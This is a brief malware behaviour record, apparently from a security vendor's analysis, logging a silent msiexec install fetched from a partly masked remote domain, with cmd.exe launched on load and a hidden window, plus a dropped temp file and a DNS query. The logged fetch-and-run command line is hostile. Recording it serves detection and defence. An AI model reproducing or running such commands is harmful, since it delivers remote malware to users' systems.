Technical Information
- '<SYSTEM32>\msiexec.exe' back=12 error=reboot /i http://of####365addons.com/service /q OnLoad="<SYSTEM32>\cmd.exe" Aciqy=¶µ±VIks1
- %TEMP%\1160226.cvr
- DNS ASK of####365addons.com
- '<SYSTEM32>\msiexec.exe' back=12 error=reboot /i http://of####365addons.com/service /q OnLoad="<SYSTEM32>\cmd.exe" Aciqy=¶µ±VIks1' (with hidden window)